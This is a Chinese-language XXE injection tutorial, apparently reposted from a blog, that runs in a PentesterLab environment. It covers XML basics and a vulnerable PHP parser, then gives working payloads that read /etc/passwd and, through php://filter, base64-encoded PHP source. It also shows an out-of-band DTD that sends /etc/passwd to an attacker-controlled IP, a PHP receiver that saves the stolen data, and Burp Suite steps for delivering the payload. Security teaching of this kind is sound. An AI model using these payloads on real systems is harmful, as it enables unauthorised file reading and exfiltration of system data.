赞
踩
目录
XXE全称是——XML External Entity,也就是XML外部实体注入攻击。通过 XML实体,"SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取数据。所以攻击者可以通过XML实体传递自己构造的恶意值,使处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
XML指可扩展标记语言(Extensible Markup Language)
XML是一种标记语言,很类似HTML
XML的设计宗旨是传输数据,而非显示数据。HTML被设计用来显示数据。
XML标签没有被预定义。您需要自行定义标签。
XML被设计为具有自我描述性。
XML是W3C的推荐标准。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>
<!ENTITY free "free nice">
]>
<note>
<to>George&free;</to><from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body></note>
<?php$xml=file_get_contents("php://input");$data = simplexml_load_string($xml) ;echo "<pre>" ;print_r($data) ;echo "</pre>" ;?>
<?php$note= <<<XML<note><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend!</body></note>XML;$xml=simplexml_load_string($note);print_r($xml);?>
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:etc/passwd" >]><root><name>&xxe;</name></root>
php 文件需要进行加密才能够被读取。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]><root><name>&xxe;</name></root>
使用bp自动的工具解码
本实验环境采用PentesterLab
<!ENTITY % p1 SYSTEM "file:///etc/passwd"><!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.226.131/xxe.php?pass=%p1;'>">%p2;
<?php$pass=$_GET['pass'];file_put_contents('pass.txt',$pass);?>
开启 burpsuite 进行截断
直接点击登录,不需要输入用户名密码
<?xml version="1.0"?><!DOCTYPE e1 SYSTEM "http://192.168.226.131/test.dtd"><foo>&e1;</foo>修改抓到包的内容改:Content-Type: application/x-www-form-urlencoded为:Content-Type:text/xml
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。